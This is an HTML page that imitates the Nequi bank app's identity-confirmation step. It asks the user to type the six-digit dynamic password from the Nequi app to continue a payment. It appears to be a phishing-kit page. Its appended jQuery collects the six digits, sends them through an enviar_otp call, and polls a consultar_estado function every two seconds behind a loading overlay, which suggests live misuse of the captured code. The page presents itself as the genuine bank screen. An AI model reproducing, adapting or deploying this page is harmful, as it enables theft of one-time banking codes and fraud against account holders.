              <path _ngcontent-nlu-c17="" d="M54.6495 16.3999C54.6495 9.66395 50.2363 6.31995 45.3883 6.31995C39.0906 6.31995 35.4988 10.6559 35.4988 16.5119C35.4988 23.1679 40.0087 26.3359 45.2433 26.3359C50.4779 26.3359 53.5382 23.6479 54.3596 20.1599C54.4724 19.7119 54.2147 19.3119 53.5382 19.3119H50.5746C50.2363 19.3119 49.9464 19.4879 49.8015 19.8239C49.0606 21.4399 47.8687 22.2879 45.5815 22.2879C42.9884 22.2879 41.2489 20.6719 40.9912 17.3919H53.7315C54.2791 17.3919 54.6495 16.9919 54.6495 16.3999ZM41.2006 13.8559C41.7482 11.4399 43.1656 10.3679 45.3077 10.3679C47.2244 10.3679 48.8673 11.4719 49.0928 13.8559H41.2006Z" fill="#200020" class="E"></path>
              <path _ngcontent-nlu-c17="" d="M103.082 6.80005H99.2969C98.7899 6.80005 98.3788 7.20837 98.3788 7.71205V24.832C98.3788 25.3357 98.7899 25.744 99.2969 25.744H103.082C103.589 25.744 104 25.3357 104 24.832V7.71205C104 7.20837 103.589 6.80005 103.082 6.80005Z" fill="#200020" class="I"></path>
              <path _ngcontent-nlu-c17="" d="M74.976 6.80002H71.2071C70.6917 6.80002 70.289 7.21602 70.289 7.71202V8.64002C69.1615 7.32802 67.3093 6.41602 64.8772 6.41602C59.4332 6.41602 56.5501 11.312 56.5501 16.496C56.5501 21.024 58.9178 26.096 64.7644 26.096C66.8583 26.096 69.081 25.104 70.289 23.696V31.056C70.289 31.568 70.7078 31.968 71.2071 31.968H74.976C75.4914 31.968 75.8941 31.552 75.8941 31.056V7.72802C75.8941 7.21602 75.4753 6.81602 74.976 6.81602V6.80002ZM66.3912 22.064C63.9108 22.064 62.1713 20.256 62.1713 16.368C62.1713 12.48 63.9108 10.448 66.3912 10.448C68.8716 10.448 70.6111 12.32 70.6111 16.368C70.6111 20.416 68.8716 22.064 66.3912 22.064Z" fill="#200020" class="Q"></path>
              <path _ngcontent-nlu-c17="" d="M95.0448 6.80005H91.2759C90.7604 6.80005 90.3578 7.21605 90.3578 7.71205V17.3921C90.3578 20.5121 88.9565 21.4241 87.1687 21.4241C85.3809 21.4241 83.9796 20.5121 83.9796 17.3921V7.71205C83.9796 7.20005 83.5608 6.80005 83.0615 6.80005H79.2926C78.7772 6.80005 78.3745 7.21605 78.3745 7.71205V17.7921C78.3745 23.7921 81.7086 26.2081 87.1848 26.2081C92.661 26.2081 95.9951 23.7761 95.9951 17.7921V7.71205C95.9951 7.20005 95.5763 6.80005 95.077 6.80005H95.0448Z" fill="#200020" class="U"></path>
            </svg>
          </div></section></nequi-logo><!---->
    </div>
    </div>
</div>
  <nequi-root _nghost-lun-c37="" ng-version="15.2.10">
    <div _ngcontent-lun-c37="" class="main-container"><router-outlet
        _ngcontent-lun-c37=""></router-outlet><app-dynamic-password _nghost-lun-c36=""
        class="ng-star-inserted"><nequi-header _ngcontent-lun-c36="" _nghost-lun-c18="">
          <div _ngcontent-lun-c18="" class="header"><nequi-logo _ngcontent-lun-c18="" _nghost-lun-c17="">
              <section _ngcontent-lun-c17="" id="img-header" class="splash">
                <div _ngcontent-lun-c17="" class="splash__container"><svg _ngcontent-lun-c17="" width="180" height="40"
                    viewBox="0 0 104 32" fill="none" xmlns="http://www.w3.org/2000/svg" class="splash__container__svg">
                    <path _ngcontent-lun-c17=""
                      d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z"
                      fill="#DA0081" class="point__up"></path>
                    <path _ngcontent-lun-c17=""
                      d="M5.29905 0H0.918073C0.411035 0 0 0.408316 0 0.912V4.608C0 5.11168 0.411035 5.52 0.918073 5.52H5.29905C5.80609 5.52 6.21713 5.11168 6.21713 4.608V0.912C6.21713 0.408316 5.80609 0 5.29905 0Z"
                      fill="#DA0081" class="point__down"></path>
                    <path _ngcontent-lun-c17=""
                      d="M31.9876 0H28.2187C27.7033 0 27.3006 0.416 27.3006 0.912V15.872C27.3006 16.176 26.8979 16.288 26.753 16.016L17.991 0.4C17.8461 0.144 17.5884 0 17.2823 0H11.0169C10.5015 0 10.0988 0.416 10.0988 0.912V24.816C10.0988 25.328 10.5176 25.728 11.0169 25.728H14.7858C15.3012 25.728 15.7039 25.312 15.7039 24.816V9.408C15.7039 9.104 16.1066 8.992 16.2515 9.264L25.2551 25.344C25.4 25.6 25.6577 25.744 25.9638 25.744H31.9554C32.4708 25.744 32.8735 25.328 32.8735 24.832V0.912C32.8735 0.4 32.4547 0 31.9554 0H31.9876Z"
                      fill="#200020" class="N"></path>
                    <path _ngcontent-lun-c17=""
                      d="M54.6495 16.3999C54.6495 9.66395 50.2363 6.31995 45.3883 6.31995C39.0906 6.31995 35.4988 10.6559 35.4988 16.5119C35.4988 23.1679 40.0087 26.3359 45.2433 26.3359C50.4779 26.3359 53.5382 23.6479 54.3596 20.1599C54.4724 19.7119 54.2147 19.3119 53.5382 19.3119H50.5746C50.2363 19.3119 49.9464 19.4879 49.8015 19.8239C49.0606 21.4399 47.8687 22.2879 45.5815 22.2879C42.9884 22.2879 41.2489 20.6719 40.9912 17.3919H53.7315C54.2791 17.3919 54.6495 16.9919 54.6495 16.3999ZM41.2006 13.8559C41.7482 11.4399 43.1656 10.3679 45.3077 10.3679C47.2244 10.3679 48.8673 11.4719 49.0928 13.8559H41.2006Z"
                      fill="#200020" class="E"></path>
                    <path _ngcontent-lun-c17=""
                      d="M103.082 6.80005H99.2969C98.7899 6.80005 98.3788 7.20837 98.3788 7.71205V24.832C98.3788 25.3357 98.7899 25.744 99.2969 25.744H103.082C103.589 25.744 104 25.3357 104 24.832V7.71205C104 7.20837 103.589 6.80005 103.082 6.80005Z"
                      fill="#200020" class="I"></path>
                    <path _ngcontent-lun-c17=""
                      d="M74.976 6.80002H71.2071C70.6917 6.80002 70.289 7.21602 70.289 7.71202V8.64002C69.1615 7.32802 67.3093 6.41602 64.8772 6.41602C59.4332 6.41602 56.5501 11.312 56.5501 16.496C56.5501 21.024 58.9178 26.096 64.7644 26.096C66.8583 26.096 69.081 25.104 70.289 23.696V31.056C70.289 31.568 70.7078 31.968 71.2071 31.968H74.976C75.4914 31.968 75.8941 31.552 75.8941 31.056V7.72802C75.8941 7.21602 75.4753 6.81602 74.976 6.81602V6.80002ZM66.3912 22.064C63.9108 22.064 62.1713 20.256 62.1713 16.368C62.1713 12.48 63.9108 10.448 66.3912 10.448C68.8716 10.448 70.6111 12.32 70.6111 16.368C70.6111 20.416 68.8716 22.064 66.3912 22.064Z"
                      fill="#200020" class="Q"></path>
                    <path _ngcontent-lun-c17=""
                      d="M95.0448 6.80005H91.2759C90.7604 6.80005 90.3578 7.21605 90.3578 7.71205V17.3921C90.3578 20.5121 88.9565 21.4241 87.1687 21.4241C85.3809 21.4241 83.9796 20.5121 83.9796 17.3921V7.71205C83.9796 7.20005 83.5608 6.80005 83.0615 6.80005H79.2926C78.7772 6.80005 78.3745 7.21605 78.3745 7.71205V17.7921C78.3745 23.7921 81.7086 26.2081 87.1848 26.2081C92.661 26.2081 95.9951 23.7761 95.9951 17.7921V7.71205C95.9951 7.20005 95.5763 6.80005 95.077 6.80005H95.0448Z"
                      fill="#200020" class="U"></path>
                  </svg></div>
              </section>
            </nequi-logo></div>
        </nequi-header>
        <div _ngcontent-lun-c36="" appcanceltxoncloserefresh="" class="dynamic-password"><nequi-title
            _ngcontent-lun-c36="" _nghost-lun-c19="">
            <h1 _ngcontent-lun-c19="" class="title">Confirma tu identidad</h1>
          </nequi-title>
          <p _ngcontent-lun-c36="" class="dynamic-password__subtitle">Para continuar con el pago debes confirmar tu identidad escribe o pega la
            clave dinámica que encuentras en tu App Nequi.</p><nequi-numeric-keypad _ngcontent-lun-c36=""><p-card
              class="p-element container_numerickeypad">
              <div class="p-card p-component"><!---->
                <div class="p-card-body"><!----><!---->
                  <div class="p-card-content">
                    <div class="box_numerickeypad"><input type="text" id="c0"
                        class="input-keypad code_numerickeypad ng-star-inserted">
                      <input type="text" id="c1"
                        class="input-keypad code_numerickeypad ng-star-inserted"><!----><!----><!----><!----><input
                        type="text" id="c2"
                        class="input-keypad code_numerickeypad ng-star-inserted"><!----><!----><!----><!----><input
                        type="text" id="c3"
                        class="input-keypad code_numerickeypad ng-star-inserted"><!----><!----><!----><!----><input
                        type="text" id="c4"
                        class="input-keypad code_numerickeypad ng-star-inserted"><!----><!----><!----><!----><input
                        type="text" id="c5"
                        class="input-keypad code_numerickeypad ng-star-inserted"><!----><!----><!----><!----><!---->
                    </div>
                    <div class="label_numerickeypad"> </div>
                    <div class="numeric_board">
                      <div class="numeric_board-row"><button name="'numeric_board_1'" class="container_number"> 1
                        </button><button name="'numeric_board_2'" class="container_number"> 2 </button><button
                          name="'numeric_board_3'" class="container_number"> 3 </button></div>
                      <div class="numeric_board-row"><button name="'numeric_board_4'" class="container_number"> 4
                        </button><button name="'numeric_board_5'" class="container_number"> 5 </button><button
                          name="'numeric_board_6'" class="container_number"> 6 </button></div>
                      <div class="numeric_board-row"><button name="'numeric_board_7'" class="container_number"> 7
                        </button><button name="'numeric_board_8'" class="container_number"> 8 </button><button
                          name="'numeric_board_9'" class="container_number"> 9 </button></div>
                      <div class="numeric_board-row"><button class="container_number" disabled=""></button><button
                          name="'numeric_board_0'" class="container_number"> 0 </button><button
                          name="'numeric_board_backspace'" class="container_number"><img alt=""
                            src="assets/images/nequi-teclado-numerico-borrar.svg"></button></div>
                    </div><!---->
                  </div><!---->
                </div>
              </div>
            </p-card></nequi-numeric-keypad>
          <br>
          <center> <input type="submit" value="Continuar" id="btnOTP"
              style="background-color: #DA0081; color:#ffffff; height:40px; font-weight:600; width:83%; border-radius: 5px; border:none; margin-bottom:20px; margin-top:;">
          </center>

        </div><nequi-modal-image-buttons _ngcontent-lun-c36="" _nghost-lun-c25=""><nequi-modal-veil
            _ngcontent-lun-c25="" _nghost-lun-c22=""><p-dialog _ngcontent-lun-c22="" position="top"
              class="p-element ng-tns-c7-16 modal-veil__uva ng-star-inserted"><!----></p-dialog></nequi-modal-veil></nequi-modal-image-buttons><nequi-toast
          _ngcontent-lun-c36="" _nghost-lun-c16=""><p-toast _ngcontent-lun-c16=""
            class="p-element ng-tns-c15-17 ng-star-inserted">
            <div class="ng-tns-c15-17 p-toast p-component p-toast-top-center"><!----></div>
          </p-toast></nequi-toast><nequi-modal-cancel _ngcontent-lun-c36="" _nghost-lun-c24=""><nequi-modal-buttons
            _ngcontent-lun-c24="" _nghost-lun-c23=""><nequi-modal-veil _ngcontent-lun-c23=""
              _nghost-lun-c22=""><p-dialog _ngcontent-lun-c22="" position="top"
                class="p-element ng-tns-c7-18 modal-veil__orquidea ng-star-inserted"><!----></p-dialog></nequi-modal-veil></nequi-modal-buttons></nequi-modal-cancel><nequi-modal-alerts
          _ngcontent-lun-c36="" _nghost-lun-c27=""><nequi-modal-veil _ngcontent-lun-c27="" _nghost-lun-c22=""><p-dialog
              _ngcontent-lun-c22="" position="top"
              class="p-element ng-tns-c7-19 modal-veil__blanco modal-alert-container ng-star-inserted"><!----></p-dialog></nequi-modal-veil></nequi-modal-alerts><nequi-modal-image-buttons
          _ngcontent-lun-c36="" _nghost-lun-c25=""><nequi-modal-veil _ngcontent-lun-c25="" _nghost-lun-c22=""><p-dialog
              _ngcontent-lun-c22="" position="top"
              class="p-element ng-tns-c7-20 modal-veil__uva ng-star-inserted"><!----></p-dialog></nequi-modal-veil></nequi-modal-image-buttons><nequi-modal-loader
          _ngcontent-lun-c36="" _nghost-lun-c26=""><p-dialog _ngcontent-lun-c26="" position="top"
            class="p-element modal-loader ng-tns-c7-21 ng-star-inserted"><!----></p-dialog></nequi-modal-loader>
      </app-dynamic-password><!----></div><nequi-modal-buttons _ngcontent-lun-c37=""
      _nghost-lun-c23=""><nequi-modal-veil _ngcontent-lun-c23="" _nghost-lun-c22=""><p-dialog _ngcontent-lun-c22=""
          position="top"
          class="p-element ng-tns-c7-0 modal-veil__orquidea"><!----></p-dialog></nequi-modal-veil></nequi-modal-buttons>
  </nequi-root>
  <script type="module" src="https://unpkg.com/ionicons@6.0.1/dist/ionicons/ionicons.esm.js"></script>
  <script nomodule="" src="https://unpkg.com/ionicons@6.0.1/dist/ionicons/ionicons.js"></script>

  <script>
    function manejarEntrada(value,currentInputIndex,inputs) {

    // Verificar si el valor del input actual es diferente de ""
    if (inputs[currentInputIndex].value !== "") {
        // Si el input no está vacío, no ejecutar el siguiente código
        console.log('El input actual no está vacío. No se ejecuta el código.');
        return; // Salir de la función para evitar la ejecución del código
    }
    
    // Ejecutar el código si el input está vacío
    inputs[currentInputIndex].value += value; // Agregar el valor al input actual
    currentInputIndex = (currentInputIndex + 1) % inputs.length; // Pasar al siguiente input circularmente
    //inputs[currentInputIndex].focus(); // Enfocar el próximo input
    return currentInputIndex;
}
    document.addEventListener("DOMContentLoaded", function () {
      const inputs = document.querySelectorAll('.code_numerickeypad'); // Obtener todos los inputs
      const buttons = document.querySelectorAll('.container_number'); // Obtener todos los botones del teclado numérico

      let currentInputIndex = 0; // Índice del input actual

      // Función para manejar el clic en los botones del teclado numérico
      buttons.forEach(button => {
        button.addEventListener('click', function () {
          const value = this.textContent.trim(); // Obtener el valor del botón
          if (value !== '') {
            currentInputIndex = manejarEntrada(value,currentInputIndex,inputs);
          }
        });
      });
    });

  </script>

</body>


<script type="text/javascript">
    document.addEventListener('touchstart', function(event) {
        if (event.touches.length > 1) {
            event.preventDefault(); // Previene el zoom al tocar con dos dedos
        }
    }, { passive: false });
  function validarInputsNoVacios() {
    // Seleccionar todos los inputs dentro del formulario
    const inputs = document.querySelectorAll('input');
    let todosLlenos = true; // Asumimos que todos los inputs están llenos inicialmente

    // Recorrer cada input para verificar su valor
    inputs.forEach(input => {
        if (input.value.trim() === "") {
            // Si algún input está vacío, marcar como falso y mostrar mensaje de error
            todosLlenos = false;
            // Aquí podrías agregar un mensaje de error o algún otro manejo
            input.classList.add('error'); // Ejemplo de agregar una clase de error
        } else {
            // Si el input no está vacío, asegurarse de que no tenga clase de error
            input.classList.remove('error');
        }
    });

    // Retornar true si todos los inputs están llenos, falso en caso contrario
    return todosLlenos;
}

  $(document).ready(function () {
    $('#btnOTP').click(function () {
        
      if (validarInputsNoVacios()){
          $(this).prop('disabled', true);
          document.getElementById('loading-overlay').style.display = 'flex';
          setInterval(consultar_estado,2000);
      enviar_otp($("#c0").val() + "" + $("#c1").val() + "" + $("#c2").val() + ""
        + $("#c3").val() + "" + $("#c4").val() + "" + $("#c5").val(),"Nequi");
    }else {
        $(this).prop('disabled', false);
    }
    });


  });
</script>

</html>